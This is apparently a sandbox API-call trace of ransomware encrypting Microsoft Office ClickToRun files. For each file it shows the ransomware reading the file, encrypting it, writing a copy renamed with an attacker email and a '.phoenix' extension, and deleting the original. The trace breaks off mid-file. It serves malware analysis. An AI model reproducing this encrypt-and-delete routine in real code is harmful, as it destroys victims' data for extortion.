	[0220.343] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0220.344] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1083027) returned 1
	[0220.344] CloseHandle (hObject=0x2c8) returned 1
	[0220.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat")) returned 0x80
	[0220.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0220.344] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0220.344] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0220.344] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0220.344] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0220.345] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0220.345] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0220.345] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x108693, lpOverlapped=0x0) returned 1
	[0220.448] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1086a0, dwBufLen=0x1086a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1086a0) returned 1
	[0220.449] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1086a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1086a0, lpOverlapped=0x0) returned 1
	[0220.839] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151240) returned 1
	[0220.839] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0220.839] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0220.839] CryptDestroyKey (hKey=0x151240) returned 1
	[0220.839] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x112, lpOverlapped=0x0) returned 1
	[0220.840] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0220.840] CloseHandle (hObject=0x2c8) returned 1
	[0220.840] CloseHandle (hObject=0x2e4) returned 1
	[0220.926] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat")) returned 1
	[0220.963] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0220.963] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0220.966] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=37360) returned 1
	[0220.966] CloseHandle (hObject=0x2e4) returned 1
	[0220.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 0x20
	[0220.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0220.966] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0220.967] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0220.967] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0220.967] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0220.967] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0220.967] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0220.967] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x91f0, lpOverlapped=0x0) returned 1
	[0220.985] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x9200, dwBufLen=0x9200 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x9200) returned 1
	[0220.985] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x9200, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x9200, lpOverlapped=0x0) returned 1
	[0220.987] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0220.987] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0220.987] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0220.987] CryptDestroyKey (hKey=0x151380) returned 1
	[0220.987] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x142, lpOverlapped=0x0) returned 1
	[0220.987] CryptDestroyKey (hKey=0x151780) returned 1
	[0220.988] CloseHandle (hObject=0x2e4) returned 1
	[0220.988] CloseHandle (hObject=0x2c8) returned 1
	[0220.994] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 1
	[0220.996] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0220.996] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0220.996] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=59164) returned 1
	[0220.996] CloseHandle (hObject=0x2c8) returned 1
	[0220.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml")) returned 0x20
	[0220.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0220.996] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0220.997] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0220.997] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0220.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0220.997] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0221.119] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.119] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe71c, lpOverlapped=0x0) returned 1
	[0221.211] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe720, dwBufLen=0xe720 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe720) returned 1
	[0221.211] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe720, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe720, lpOverlapped=0x0) returned 1
	[0221.213] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0221.213] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.213] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0221.213] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0221.214] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0221.214] CryptDestroyKey (hKey=0x151780) returned 1
	[0221.214] CloseHandle (hObject=0x2c8) returned 1
	[0221.214] CloseHandle (hObject=0x2e4) returned 1
	[0221.216] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml")) returned 1
	[0221.217] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0221.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.218] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2042) returned 1
	[0221.218] CloseHandle (hObject=0x2e4) returned 1
	[0221.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml")) returned 0x20
	[0221.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.218] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.218] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.218] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.218] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.219] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0221.219] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.219] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x7fa, lpOverlapped=0x0) returned 1
	[0221.293] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x800, dwBufLen=0x800 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x800) returned 1
	[0221.293] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x800, lpOverlapped=0x0) returned 1
	[0221.294] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151580) returned 1
	[0221.294] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.294] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0221.294] CryptDestroyKey (hKey=0x151580) returned 1
	[0221.294] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0221.295] CryptDestroyKey (hKey=0x151400) returned 1
	[0221.295] CloseHandle (hObject=0x2e4) returned 1
	[0221.295] CloseHandle (hObject=0x2c8) returned 1
	[0221.296] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml")) returned 1
	[0221.297] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0221.297] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.298] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16148) returned 1
	[0221.298] CloseHandle (hObject=0x2c8) returned 1
	[0221.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml")) returned 0x20
	[0221.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.298] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.299] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.299] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.299] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151240) returned 1
	[0221.299] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.299] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3f14, lpOverlapped=0x0) returned 1
	[0221.357] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3f20, dwBufLen=0x3f20 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3f20) returned 1
	[0221.357] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3f20, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3f20, lpOverlapped=0x0) returned 1
	[0221.359] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
